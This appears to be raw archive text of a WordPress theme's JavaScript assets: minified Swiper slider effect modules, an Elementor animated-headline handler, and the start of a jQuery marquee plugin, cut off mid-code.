s)t.thumbs.swiper=e.swiper,Object.assign(t.thumbs.swiper.originalParams,{watchSlidesProgress:!0,slideToClickedSlide:!1}),Object.assign(t.thumbs.swiper.params,{watchSlidesProgress:!0,slideToClickedSlide:!1}),t.thumbs.swiper.update();else if(c(e.swiper)){const a=Object.assign({},e.swiper);Object.assign(a,{watchSlidesProgress:!0,slideToClickedSlide:!1}),t.thumbs.swiper=new s(a),n=!0}return t.thumbs.swiper.el.classList.add(t.params.thumbs.thumbsContainerClass),t.thumbs.swiper.on("tap",l),!0}function d(e){const s=t.thumbs.swiper;if(!s||s.destroyed)return;const a="auto"===s.params.slidesPerView?s.slidesPerViewDynamic():s.params.slidesPerView;let i=1;const r=t.params.thumbs.slideThumbActiveClass;if(t.params.slidesPerView>1&&!t.params.centeredSlides&&(i=t.params.slidesPerView),t.params.thumbs.multipleActiveThumbs||(i=1),i=Math.floor(i),s.slides.forEach((e=>e.classList.remove(r))),s.params.loop||s.params.virtual&&s.params.virtual.enabled)for(let e=0;e<i;e+=1)f(s.slidesEl,`[data-swiper-slide-index="${t.realIndex+e}"]`).forEach((e=>{e.classList.add(r)}));else for(let e=0;e<i;e+=1)s.slides[t.realIndex+e]&&s.slides[t.realIndex+e].classList.add(r);const n=t.params.thumbs.autoScrollOffset,l=n&&!s.params.loop;if(t.realIndex!==s.realIndex||l){const i=s.activeIndex;let r,o;if(s.params.loop){const e=s.slides.filter((e=>e.getAttribute("data-swiper-slide-index")===`${t.realIndex}`))[0];r=s.slides.indexOf(e),o=t.activeIndex>t.previousIndex?"next":"prev"}else r=t.realIndex,o=r>t.previousIndex?"next":"prev";l&&(r+="next"===o?n:-1*n),s.visibleSlidesIndexes&&s.visibleSlidesIndexes.indexOf(r)<0&&(s.params.centeredSlides?r=r>i?r-Math.floor(a/2)+1:r+Math.floor(a/2)-1:r>i&&s.params.slidesPerGroup,s.slideTo(r,e?0:void 0))}}t.thumbs={swiper:null},i("beforeInit",(()=>{const{thumbs:e}=t.params;if(e&&e.swiper)if("string"==typeof e.swiper||e.swiper instanceof HTMLElement){const s=a(),i=()=>{const a="string"==typeof e.swiper?s.querySelector(e.swiper):e.swiper;if(a&&a.swiper)e.swiper=a.swiper,o(),d(!0);else if(a){const s=i=>{e.swiper=i.detail[0],a.removeEventListener("init",s),o(),d(!0),e.swiper.update(),t.update()};a.addEventListener("init",s)}return a},r=()=>{if(t.destroyed)return;i()||requestAnimationFrame(r)};requestAnimationFrame(r)}else o(),d(!0)})),i("slideChange update resize observerUpdate",(()=>{d()})),i("setTransition",((e,s)=>{const a=t.thumbs.swiper;a&&!a.destroyed&&a.setTransition(s)})),i("beforeDestroy",(()=>{const e=t.thumbs.swiper;e&&!e.destroyed&&n&&e.destroy()})),Object.assign(t.thumbs,{init:o,update:d})},function(e){let{swiper:t,extendParams:s,emit:a,once:i}=e;s({freeMode:{enabled:!1,momentum:!0,momentumRatio:1,momentumBounce:!0,momentumBounceRatio:1,momentumVelocityRatio:1,sticky:!1,minimumVelocity:.02}}),Object.assign(t,{freeMode:{onTouchStart:function(){if(t.params.cssMode)return;const e=t.getTranslate();t.setTranslate(e),t.setTransition(0),t.touchEventsData.velocities.length=0,t.freeMode.onTouchEnd({currentPos:t.rtl?t.translate:-t.translate})},onTouchMove:function(){if(t.params.cssMode)return;const{touchEventsData:e,touches:s}=t;0===e.velocities.length&&e.velocities.push({position:s[t.isHorizontal()?"startX":"startY"],time:e.touchStartTime}),e.velocities.push({position:s[t.isHorizontal()?"currentX":"currentY"],time:o()})},onTouchEnd:function(e){let{currentPos:s}=e;if(t.params.cssMode)return;const{params:r,wrapperEl:n,rtlTranslate:l,snapGrid:d,touchEventsData:c}=t,p=o()-c.touchStartTime;if(s<-t.minTranslate())t.slideTo(t.activeIndex);else if(s>-t.maxTranslate())t.slides.length<d.length?t.slideTo(d.length-1):t.slideTo(t.slides.length-1);else{if(r.freeMode.momentum){if(c.velocities.length>1){const e=c.velocities.pop(),s=c.velocities.pop(),a=e.position-s.position,i=e.time-s.time;t.velocity=a/i,t.velocity/=2,Math.abs(t.velocity)<r.freeMode.minimumVelocity&&(t.velocity=0),(i>150||o()-e.time>300)&&(t.velocity=0)}else t.velocity=0;t.velocity*=r.freeMode.momentumVelocityRatio,c.velocities.length=0;let e=1e3*r.freeMode.momentumRatio;const s=t.velocity*e;let p=t.translate+s;l&&(p=-p);let u,m=!1;const h=20*Math.abs(t.velocity)*r.freeMode.momentumBounceRatio;let f;if(p<t.maxTranslate())r.freeMode.momentumBounce?(p+t.maxTranslate()<-h&&(p=t.maxTranslate()-h),u=t.maxTranslate(),m=!0,c.allowMomentumBounce=!0):p=t.maxTranslate(),r.loop&&r.centeredSlides&&(f=!0);else if(p>t.minTranslate())r.freeMode.momentumBounce?(p-t.minTranslate()>h&&(p=t.minTranslate()+h),u=t.minTranslate(),m=!0,c.allowMomentumBounce=!0):p=t.minTranslate(),r.loop&&r.centeredSlides&&(f=!0);else if(r.freeMode.sticky){let e;for(let t=0;t<d.length;t+=1)if(d[t]>-p){e=t;break}p=Math.abs(d[e]-p)<Math.abs(d[e-1]-p)||"next"===t.swipeDirection?d[e]:d[e-1],p=-p}if(f&&i("transitionEnd",(()=>{t.loopFix()})),0!==t.velocity){if(e=l?Math.abs((-p-t.translate)/t.velocity):Math.abs((p-t.translate)/t.velocity),r.freeMode.sticky){const s=Math.abs((l?-p:p)-t.translate),a=t.slidesSizesGrid[t.activeIndex];e=s<a?r.speed:s<2*a?1.5*r.speed:2.5*r.speed}}else if(r.freeMode.sticky)return void t.slideToClosest();r.freeMode.momentumBounce&&m?(t.updateProgress(u),t.setTransition(e),t.setTranslate(p),t.transitionStart(!0,t.swipeDirection),t.animating=!0,x(n,(()=>{t&&!t.destroyed&&c.allowMomentumBounce&&(a("momentumBounce"),t.setTransition(r.speed),setTimeout((()=>{t.setTranslate(u),x(n,(()=>{t&&!t.destroyed&&t.transitionEnd()}))}),0))}))):t.velocity?(a("_freeModeNoMomentumRelease"),t.updateProgress(p),t.setTransition(e),t.setTranslate(p),t.transitionStart(!0,t.swipeDirection),t.animating||(t.animating=!0,x(n,(()=>{t&&!t.destroyed&&t.transitionEnd()})))):t.updateProgress(p),t.updateActiveIndex(),t.updateSlidesClasses()}else{if(r.freeMode.sticky)return void t.slideToClosest();r.freeMode&&a("_freeModeNoMomentumRelease")}(!r.freeMode.momentum||p>=r.longSwipesMs)&&(a("_freeModeStaticRelease"),t.updateProgress(),t.updateActiveIndex(),t.updateSlidesClasses())}}}})},function(e){let t,s,a,i,{swiper:r,extendParams:n,on:l}=e;n({grid:{rows:1,fill:"column"}});const o=()=>{let e=r.params.spaceBetween;return"string"==typeof e&&e.indexOf("%")>=0?e=parseFloat(e.replace("%",""))/100*r.size:"string"==typeof e&&(e=parseFloat(e)),e};l("init",(()=>{i=r.params.grid&&r.params.grid.rows>1})),l("update",(()=>{const{params:e,el:t}=r,s=e.grid&&e.grid.rows>1;i&&!s?(t.classList.remove(`${e.containerModifierClass}grid`,`${e.containerModifierClass}grid-column`),a=1,r.emitContainerClasses()):!i&&s&&(t.classList.add(`${e.containerModifierClass}grid`),"column"===e.grid.fill&&t.classList.add(`${e.containerModifierClass}grid-column`),r.emitContainerClasses()),i=s})),r.grid={initSlides:e=>{const{slidesPerView:i}=r.params,{rows:n,fill:l}=r.params.grid,o=r.virtual&&r.params.virtual.enabled?r.virtual.slides.length:e.length;a=Math.floor(o/n),t=Math.floor(o/n)===o/n?o:Math.ceil(o/n)*n,"auto"!==i&&"row"===l&&(t=Math.max(t,i*n)),s=t/n},unsetSlides:()=>{r.slides&&r.slides.forEach((e=>{e.swiperSlideGridSet&&(e.style.height="",e.style[r.getDirectionLabel("margin-top")]="")}))},updateSlide:(e,i,n)=>{const{slidesPerGroup:l}=r.params,d=o(),{rows:c,fill:p}=r.params.grid,u=r.virtual&&r.params.virtual.enabled?r.virtual.slides.length:n.length;let m,h,f;if("row"===p&&l>1){const s=Math.floor(e/(l*c)),a=e-c*l*s,r=0===s?l:Math.min(Math.ceil((u-s*c*l)/c),l);f=Math.floor(a/r),h=a-f*r+s*l,m=h+f*t/c,i.style.order=m}else"column"===p?(h=Math.floor(e/c),f=e-h*c,(h>a||h===a&&f===c-1)&&(f+=1,f>=c&&(f=0,h+=1))):(f=Math.floor(e/s),h=e-f*s);i.row=f,i.column=h,i.style.height=`calc((100% - ${(c-1)*d}px) / ${c})`,i.style[r.getDirectionLabel("margin-top")]=0!==f?d&&`${d}px`:"",i.swiperSlideGridSet=!0},updateWrapperSize:(e,s)=>{const{centeredSlides:a,roundLengths:i}=r.params,n=o(),{rows:l}=r.params.grid;if(r.virtualSize=(e+n)*t,r.virtualSize=Math.ceil(r.virtualSize/l)-n,r.params.cssMode||(r.wrapperEl.style[r.getDirectionLabel("width")]=`${r.virtualSize+n}px`),a){const e=[];for(let t=0;t<s.length;t+=1){let a=s[t];i&&(a=Math.floor(a)),s[t]<r.virtualSize+s[0]&&e.push(a)}s.splice(0,s.length),s.push(...e)}}}},function(e){let{swiper:t}=e;Object.assign(t,{appendSlide:ae.bind(t),prependSlide:ie.bind(t),addSlide:re.bind(t),removeSlide:ne.bind(t),removeAllSlides:le.bind(t)})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({fadeEffect:{crossFade:!1}}),oe({effect:"fade",swiper:t,on:a,setTranslate:()=>{const{slides:e}=t;t.params.fadeEffect;for(let s=0;s<e.length;s+=1){const e=t.slides[s];let a=-e.swiperSlideOffset;t.params.virtualTranslate||(a-=t.translate);let i=0;t.isHorizontal()||(i=a,a=0);const r=t.params.fadeEffect.crossFade?Math.max(1-Math.abs(e.progress),0):1+Math.min(Math.max(e.progress,-1),0),n=de(0,e);n.style.opacity=r,n.style.transform=`translate3d(${a}px, ${i}px, 0px)`}},setTransition:e=>{const s=t.slides.map((e=>h(e)));s.forEach((t=>{t.style.transitionDuration=`${e}ms`})),ce({swiper:t,duration:e,transformElements:s,allSlides:!0})},overwriteParams:()=>({slidesPerView:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!t.params.cssMode})})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({cubeEffect:{slideShadows:!0,shadow:!0,shadowOffset:20,shadowScale:.94}});const i=(e,t,s)=>{let a=s?e.querySelector(".swiper-slide-shadow-left"):e.querySelector(".swiper-slide-shadow-top"),i=s?e.querySelector(".swiper-slide-shadow-right"):e.querySelector(".swiper-slide-shadow-bottom");a||(a=v("div",("swiper-slide-shadow-cube swiper-slide-shadow-"+(s?"left":"top")).split(" ")),e.append(a)),i||(i=v("div",("swiper-slide-shadow-cube swiper-slide-shadow-"+(s?"right":"bottom")).split(" ")),e.append(i)),a&&(a.style.opacity=Math.max(-t,0)),i&&(i.style.opacity=Math.max(t,0))};oe({effect:"cube",swiper:t,on:a,setTranslate:()=>{const{el:e,wrapperEl:s,slides:a,width:r,height:n,rtlTranslate:l,size:o,browser:d}=t,c=t.params.cubeEffect,p=t.isHorizontal(),u=t.virtual&&t.params.virtual.enabled;let m,h=0;c.shadow&&(p?(m=t.wrapperEl.querySelector(".swiper-cube-shadow"),m||(m=v("div","swiper-cube-shadow"),t.wrapperEl.append(m)),m.style.height=`${r}px`):(m=e.querySelector(".swiper-cube-shadow"),m||(m=v("div","swiper-cube-shadow"),e.append(m))));for(let e=0;e<a.length;e+=1){const s=a[e];let r=e;u&&(r=parseInt(s.getAttribute("data-swiper-slide-index"),10));let n=90*r,d=Math.floor(n/360);l&&(n=-n,d=Math.floor(-n/360));const m=Math.max(Math.min(s.progress,1),-1);let f=0,g=0,v=0;r%4==0?(f=4*-d*o,v=0):(r-1)%4==0?(f=0,v=4*-d*o):(r-2)%4==0?(f=o+4*d*o,v=o):(r-3)%4==0&&(f=-o,v=3*o+4*o*d),l&&(f=-f),p||(g=f,f=0);const w=`rotateX(${p?0:-n}deg) rotateY(${p?n:0}deg) translate3d(${f}px, ${g}px, ${v}px)`;m<=1&&m>-1&&(h=90*r+90*m,l&&(h=90*-r-90*m),t.browser&&t.browser.isSafari&&Math.abs(h)/90%2==1&&(h+=.001)),s.style.transform=w,c.slideShadows&&i(s,m,p)}if(s.style.transformOrigin=`50% 50% -${o/2}px`,s.style["-webkit-transform-origin"]=`50% 50% -${o/2}px`,c.shadow)if(p)m.style.transform=`translate3d(0px, ${r/2+c.shadowOffset}px, ${-r/2}px) rotateX(89.99deg) rotateZ(0deg) scale(${c.shadowScale})`;else{const e=Math.abs(h)-90*Math.floor(Math.abs(h)/90),t=1.5-(Math.sin(2*e*Math.PI/360)/2+Math.cos(2*e*Math.PI/360)/2),s=c.shadowScale,a=c.shadowScale/t,i=c.shadowOffset;m.style.transform=`scale3d(${s}, 1, ${a}) translate3d(0px, ${n/2+i}px, ${-n/2/a}px) rotateX(-89.99deg)`}const f=(d.isSafari||d.isWebView)&&d.needPerspectiveFix?-o/2:0;s.style.transform=`translate3d(0px,0,${f}px) rotateX(${t.isHorizontal()?0:h}deg) rotateY(${t.isHorizontal()?-h:0}deg)`,s.style.setProperty("--swiper-cube-translate-z",`${f}px`)},setTransition:e=>{const{el:s,slides:a}=t;if(a.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),t.params.cubeEffect.shadow&&!t.isHorizontal()){const t=s.querySelector(".swiper-cube-shadow");t&&(t.style.transitionDuration=`${e}ms`)}},recreateShadows:()=>{const e=t.isHorizontal();t.slides.forEach((t=>{const s=Math.max(Math.min(t.progress,1),-1);i(t,s,e)}))},getEffectParams:()=>t.params.cubeEffect,perspective:()=>!0,overwriteParams:()=>({slidesPerView:1,slidesPerGroup:1,watchSlidesProgress:!0,resistanceRatio:0,spaceBetween:0,centeredSlides:!1,virtualTranslate:!0})})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({flipEffect:{slideShadows:!0,limitRotation:!0}});const i=(e,s)=>{let a=t.isHorizontal()?e.querySelector(".swiper-slide-shadow-left"):e.querySelector(".swiper-slide-shadow-top"),i=t.isHorizontal()?e.querySelector(".swiper-slide-shadow-right"):e.querySelector(".swiper-slide-shadow-bottom");a||(a=pe("flip",e,t.isHorizontal()?"left":"top")),i||(i=pe("flip",e,t.isHorizontal()?"right":"bottom")),a&&(a.style.opacity=Math.max(-s,0)),i&&(i.style.opacity=Math.max(s,0))};oe({effect:"flip",swiper:t,on:a,setTranslate:()=>{const{slides:e,rtlTranslate:s}=t,a=t.params.flipEffect;for(let r=0;r<e.length;r+=1){const n=e[r];let l=n.progress;t.params.flipEffect.limitRotation&&(l=Math.max(Math.min(n.progress,1),-1));const o=n.swiperSlideOffset;let d=-180*l,c=0,p=t.params.cssMode?-o-t.translate:-o,u=0;t.isHorizontal()?s&&(d=-d):(u=p,p=0,c=-d,d=0),t.browser&&t.browser.isSafari&&(Math.abs(d)/90%2==1&&(d+=.001),Math.abs(c)/90%2==1&&(c+=.001)),n.style.zIndex=-Math.abs(Math.round(l))+e.length,a.slideShadows&&i(n,l);const m=`translate3d(${p}px, ${u}px, 0px) rotateX(${c}deg) rotateY(${d}deg)`;de(0,n).style.transform=m}},setTransition:e=>{const s=t.slides.map((e=>h(e)));s.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),ce({swiper:t,duration:e,transformElements:s})},recreateShadows:()=>{t.params.flipEffect,t.slides.forEach((e=>{let s=e.progress;t.params.flipEffect.limitRotation&&(s=Math.max(Math.min(e.progress,1),-1)),i(e,s)}))},getEffectParams:()=>t.params.flipEffect,perspective:()=>!0,overwriteParams:()=>({slidesPerView:1,slidesPerGroup:1,watchSlidesProgress:!0,spaceBetween:0,virtualTranslate:!t.params.cssMode})})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({coverflowEffect:{rotate:50,stretch:0,depth:100,scale:1,modifier:1,slideShadows:!0}}),oe({effect:"coverflow",swiper:t,on:a,setTranslate:()=>{const{width:e,height:s,slides:a,slidesSizesGrid:i}=t,r=t.params.coverflowEffect,n=t.isHorizontal(),l=t.translate,o=n?e/2-l:s/2-l,d=n?r.rotate:-r.rotate,c=r.depth;for(let e=0,s=a.length;e<s;e+=1){const s=a[e],l=i[e],p=(o-s.swiperSlideOffset-l/2)/l,u="function"==typeof r.modifier?r.modifier(p):p*r.modifier;let m=n?d*u:0,h=n?0:d*u,f=-c*Math.abs(u),g=r.stretch;"string"==typeof g&&-1!==g.indexOf("%")&&(g=parseFloat(r.stretch)/100*l);let v=n?0:g*u,w=n?g*u:0,b=1-(1-r.scale)*Math.abs(u);Math.abs(w)<.001&&(w=0),Math.abs(v)<.001&&(v=0),Math.abs(f)<.001&&(f=0),Math.abs(m)<.001&&(m=0),Math.abs(h)<.001&&(h=0),Math.abs(b)<.001&&(b=0),t.browser&&t.browser.isSafari&&(Math.abs(m)/90%2==1&&(m+=.001),Math.abs(h)/90%2==1&&(h+=.001));const y=`translate3d(${w}px,${v}px,${f}px)  rotateX(${h}deg) rotateY(${m}deg) scale(${b})`;if(de(0,s).style.transform=y,s.style.zIndex=1-Math.abs(Math.round(u)),r.slideShadows){let e=n?s.querySelector(".swiper-slide-shadow-left"):s.querySelector(".swiper-slide-shadow-top"),t=n?s.querySelector(".swiper-slide-shadow-right"):s.querySelector(".swiper-slide-shadow-bottom");e||(e=pe("coverflow",s,n?"left":"top")),t||(t=pe("coverflow",s,n?"right":"bottom")),e&&(e.style.opacity=u>0?u:0),t&&(t.style.opacity=-u>0?-u:0)}}},setTransition:e=>{t.slides.map((e=>h(e))).forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((t=>{t.style.transitionDuration=`${e}ms`}))}))},perspective:()=>!0,overwriteParams:()=>({watchSlidesProgress:!0})})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({creativeEffect:{limitProgress:1,shadowPerProgress:!1,progressMultiplier:1,perspective:!0,prev:{translate:[0,0,0],rotate:[0,0,0],opacity:1,scale:1},next:{translate:[0,0,0],rotate:[0,0,0],opacity:1,scale:1}}});const i=e=>"string"==typeof e?e:`${e}px`;oe({effect:"creative",swiper:t,on:a,setTranslate:()=>{const{slides:e,wrapperEl:s,slidesSizesGrid:a}=t,r=t.params.creativeEffect,{progressMultiplier:n}=r,l=t.params.centeredSlides;if(l){const e=a[0]/2-t.params.slidesOffsetBefore||0;s.style.transform=`translateX(calc(50% - ${e}px))`}for(let s=0;s<e.length;s+=1){const a=e[s],o=a.progress,d=Math.min(Math.max(a.progress,-r.limitProgress),r.limitProgress);let c=d;l||(c=Math.min(Math.max(a.originalProgress,-r.limitProgress),r.limitProgress));const p=a.swiperSlideOffset,u=[t.params.cssMode?-p-t.translate:-p,0,0],m=[0,0,0];let h=!1;t.isHorizontal()||(u[1]=u[0],u[0]=0);let f={translate:[0,0,0],rotate:[0,0,0],scale:1,opacity:1};d<0?(f=r.next,h=!0):d>0&&(f=r.prev,h=!0),u.forEach(((e,t)=>{u[t]=`calc(${e}px + (${i(f.translate[t])} * ${Math.abs(d*n)}))`})),m.forEach(((e,s)=>{let a=f.rotate[s]*Math.abs(d*n);t.browser&&t.browser.isSafari&&Math.abs(a)/90%2==1&&(a+=.001),m[s]=a})),a.style.zIndex=-Math.abs(Math.round(o))+e.length;const g=u.join(", "),v=`rotateX(${m[0]}deg) rotateY(${m[1]}deg) rotateZ(${m[2]}deg)`,w=c<0?`scale(${1+(1-f.scale)*c*n})`:`scale(${1-(1-f.scale)*c*n})`,b=c<0?1+(1-f.opacity)*c*n:1-(1-f.opacity)*c*n,y=`translate3d(${g}) ${v} ${w}`;if(h&&f.shadow||!h){let e=a.querySelector(".swiper-slide-shadow");if(!e&&f.shadow&&(e=pe("creative",a)),e){const t=r.shadowPerProgress?d*(1/r.limitProgress):d;e.style.opacity=Math.min(Math.max(Math.abs(t),0),1)}}const E=de(0,a);E.style.transform=y,E.style.opacity=b,f.origin&&(E.style.transformOrigin=f.origin)}},setTransition:e=>{const s=t.slides.map((e=>h(e)));s.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),ce({swiper:t,duration:e,transformElements:s,allSlides:!0})},perspective:()=>t.params.creativeEffect.perspective,overwriteParams:()=>({watchSlidesProgress:!0,virtualTranslate:!t.params.cssMode})})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({cardsEffect:{slideShadows:!0,rotate:!0,perSlideRotate:2,perSlideOffset:8}}),oe({effect:"cards",swiper:t,on:a,setTranslate:()=>{const{slides:e,activeIndex:s,rtlTranslate:a}=t,i=t.params.cardsEffect,{startTranslate:r,isTouched:n}=t.touchEventsData,l=a?-t.translate:t.translate;for(let o=0;o<e.length;o+=1){const d=e[o],c=d.progress,p=Math.min(Math.max(c,-4),4);let u=d.swiperSlideOffset;t.params.centeredSlides&&!t.params.cssMode&&(t.wrapperEl.style.transform=`translateX(${t.minTranslate()}px)`),t.params.centeredSlides&&t.params.cssMode&&(u-=e[0].swiperSlideOffset);let m=t.params.cssMode?-u-t.translate:-u,h=0;const f=-100*Math.abs(p);let g=1,v=-i.perSlideRotate*p,w=i.perSlideOffset-.75*Math.abs(p);const b=t.virtual&&t.params.virtual.enabled?t.virtual.from+o:o,y=(b===s||b===s-1)&&p>0&&p<1&&(n||t.params.cssMode)&&l<r,E=(b===s||b===s+1)&&p<0&&p>-1&&(n||t.params.cssMode)&&l>r;if(y||E){const e=(1-Math.abs((Math.abs(p)-.5)/.5))**.5;v+=-28*p*e,g+=-.5*e,w+=96*e,h=-25*e*Math.abs(p)+"%"}if(m=p<0?`calc(${m}px ${a?"-":"+"} (${w*Math.abs(p)}%))`:p>0?`calc(${m}px ${a?"-":"+"} (-${w*Math.abs(p)}%))`:`${m}px`,!t.isHorizontal()){const e=h;h=m,m=e}const x=p<0?""+(1+(1-g)*p):""+(1-(1-g)*p),S=`\n        translate3d(${m}, ${h}, ${f}px)\n        rotateZ(${i.rotate?a?-v:v:0}deg)\n        scale(${x})\n      `;if(i.slideShadows){let e=d.querySelector(".swiper-slide-shadow");e||(e=pe("cards",d)),e&&(e.style.opacity=Math.min(Math.max((Math.abs(p)-.5)/.5,0),1))}d.style.zIndex=-Math.abs(Math.round(c))+e.length;de(0,d).style.transform=S}},setTransition:e=>{const s=t.slides.map((e=>h(e)));s.forEach((t=>{t.style.transitionDuration=`${e}ms`,t.querySelectorAll(".swiper-slide-shadow").forEach((t=>{t.style.transitionDuration=`${e}ms`}))})),ce({swiper:t,duration:e,transformElements:s})},perspective:()=>!0,overwriteParams:()=>({watchSlidesProgress:!0,virtualTranslate:!t.params.cssMode})})}];return ee.use(ue),ee}();
PK     N\1$R  R    js/heading-animates.jsnu [        !function (e) {
    var t = {};

    function n(s) {
        if (t[s]) return t[s].exports;
        var i = t[s] = {i: s, l: !1, exports: {}};
        return e[s].call(i.exports, i, i.exports, n), i.l = !0, i.exports
    }

    n.m = e, n.c = t, n.d = function (e, t, s) {
        n.o(e, t) || Object.defineProperty(e, t, {enumerable: !0, get: s})
    }, n.r = function (e) {
        "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {value: "Module"}), Object.defineProperty(e, "__esModule", {value: !0})
    }, n.t = function (e, t) {
        if (1 & t && (e = n(e)), 8 & t) return e;
        if (4 & t && "object" == typeof e && e && e.__esModule) return e;
        var s = Object.create(null);
        if (n.r(s), Object.defineProperty(s, "default", {
            enumerable: !0,
            value: e
        }), 2 & t && "string" != typeof e) for (var i in e) n.d(s, i, function (t) {
            return e[t]
        }.bind(null, i));
        return s
    }, n.n = function (e) {
        var t = e && e.__esModule ? function () {
            return e.default
        } : function () {
            return e
        };
        return n.d(t, "a", t), t
    }, n.o = function (e, t) {
        return Object.prototype.hasOwnProperty.call(e, t)
    }, n.p = "", n(n.s = 0)
}([function (e, t) {
    class n extends elementorModules.frontend.handlers.Base {
        getDefaultSettings() {
            return {selectors: {wrapper: ".penci-animated-headline", dynamic: ".dynamic-wrapper"}}
        }

        getDefaultElements() {
            const e = this.getSettings("selectors");
            return {$wrapper: this.$element.find(e.wrapper), $dynamic: this.$element.find(e.dynamic)}
        }

        bindEvents() {
            this.onRenderElement()
        }

        onRenderElement() {
            if ("rotating" == this.elements.$wrapper.data("style")) {
                const e = this.elements.$wrapper.data("rotate"), t = this.elements.$dynamic.find(".dynamic-text");
                if (t.length > 0) {
                    const n = t.first();
                    ["typing", "swirl", "blinds", "wave"].includes(e) ? this.animateText(n, this.getNextText(n)) : this.showText(n, this.getNextText(n))
                }
            }
        }

        animateText(e, t) {
            this.elements.$dynamic.removeClass("typing-delete"), e.addClass("show-text"), this.elements.$dynamic.removeClass("cursor-blink"), this.animateLetter(e.find(".dynamic-text-letter").first(), e, t)
        }

        animateLetter(e, t, n) {
            const s = this, i = this.elements.$wrapper.data("letter-speed");
            e.addClass("show-letter"), setTimeout((function () {
                e.is(":last-child") ? s.hideText(t, n) : s.animateLetter(e.next(), t, n)
            }), i)
        }

        getNextText(e) {
            return e.is(":last-child") ? this.elements.$dynamic.find(".dynamic-text").first() : e.next()
        }

        hideText(e, t) {
            const n = this, s = n.elements.$wrapper.data("rotate"), i = n.elements.$wrapper.data("delay");
            this.elements.$dynamic.addClass("cursor-blink"), setTimeout((function () {
                if ("typing" == s) {
                    const s = n.elements.$wrapper.data("delay-delete");
                    n.elements.$dynamic.addClass("typing-delete"), setTimeout((function () {
                        e.removeClass("show-text"), e.find(".dynamic-text-letter").removeClass("show-letter"), n.animateText(t, n.getNextText(t))
                    }), s)
                } else e.removeClass("show-text"), e.find(".dynamic-text-letter").removeClass("show-letter"), n.animateText(t, n.getNextText(t))
            }), i)
        }

        showText(e, t) {
            const n = this, s = n.elements.$wrapper.data("delay"), i = n.elements.$wrapper.data("rotate");
            if (e.addClass("show-text"), "clip" == i) {
                const i = n.elements.$wrapper.data("clip-duration");
                n.elements.$dynamic.width(e.width() + 10), n.elements.$dynamic.animate({width: 0}, i / 2, (function () {
                    e.removeClass("show-text"), t.addClass("show-text"), n.elements.$dynamic.animate({width: t.width() + 10}, i / 2, (function () {
                        setTimeout((function () {
                            e.removeClass("show-text"), n.showText(t, n.getNextText(t))
                        }), s)
                    }))
                }))
            } else n.elements.$dynamic.width(e.width()), setTimeout((function () {
                e.removeClass("show-text"), n.showText(t, n.getNextText(t))
            }), s)
        }
    }

    jQuery(window).on("elementor/frontend/init", (() => {
        elementorFrontend.hooks.addAction("frontend/element_ready/penci-animated-headline.default", (e => {
            elementorFrontend.elementsHandler.addHandler(n, {$element: e})
        }))
    }))
}]);PK     N\gҽd      js/jquery.marquee.min.jsnu [        (function(e){"use strict";if(typeof define==="function"&&define.amd){define(["jquery"],e)}else if(typeof exports!=="undefined"){module.exports=e(require("jquery"))}else{e(jQuery)}})(function(X){X.fn.marquee=function(B){return this.each(function(){var i=X.extend({},X.fn.marquee.defaults,B),a=X(this),r,n,s,o,u,f=3,e="animation-play-state",d=false,l=function(e,t,i){var a=["webkit","moz","MS","o",""];for(var r=0;r<a.length;r++){if(!a[r])t=t.toLowerCase();e.addEventListener(a[r]+t,i,false)}},p=function(e){var t=[];for(var i in e){if(e.hasOwnProperty(i)){t.push(i+":"+e[i])}}t.push();return"{"+t.join(",")+"}"},c=function(){a.timer=setTimeout(A,i.delayBeforeStart)},t={pause:function(){if(d&&i.allowCss3Support){r.css(e,"paused")}else{if(X.fn.pause){r.pause()}}a.data("runningStatus","paused");a.trigger("paused")},resume:function(){if(d&&i.allowCss3Support){r.css(e,"running")}else{if(X.fn.resume){r.resume()}}a.data("runningStatus","resumed");a.trigger("resumed")},toggle:function(){t[a.data("runningStatus")==="resumed"?"pause":"resume"]()},destroy:function(){clearTimeout(a.timer);a.find("*").addBack().off();a.html(a.find(".js-marquee:first").html())}};if(typeof B==="string"){if(X.isFunction(t[B])){if(!r){r=a.find(".js-marquee-wrapper")}if(a.data("css3AnimationIsSupported")===true){d=true}t[B]()}return}var m={},g;X.each(i,function(e){g=a.attr("data-"+e);if(typeof g!=="undefined"){switch(g){case"true":g=true;break;case"false":g=false;break}i[e]=g}});if(i.speed){i.duration=parseInt(a.width(),10)/i.speed*1e3}o=i.direction==="up"||i.direction==="down";i.gap=i.duplicated?parseInt(i.gap):0;a.wrapInner('<div class="js-marquee"></div>');var h=a.find(".js-marquee").css({"margin-right":i.gap,float:"left"});if(i.duplicated){if(i.duplicateCount<=0){i.duplicateCount=1}for(let e=0;e<i.duplicateCount;e++){h.clone(true).appendTo(a)}}a.wrapInner('<div style="width:100000px" class="js-marquee-wrapper"></div>');r=a.find(".js-marquee-wrapper");if(o){var y=a.height();r.removeAttr("style");a.height(y);a.find(".js-marquee").css({float:"none","margin-bottom":i.gap,"margin-right":0});if(i.duplicated){a.find(".js-marquee:last").css({"margin-bottom":0})}var 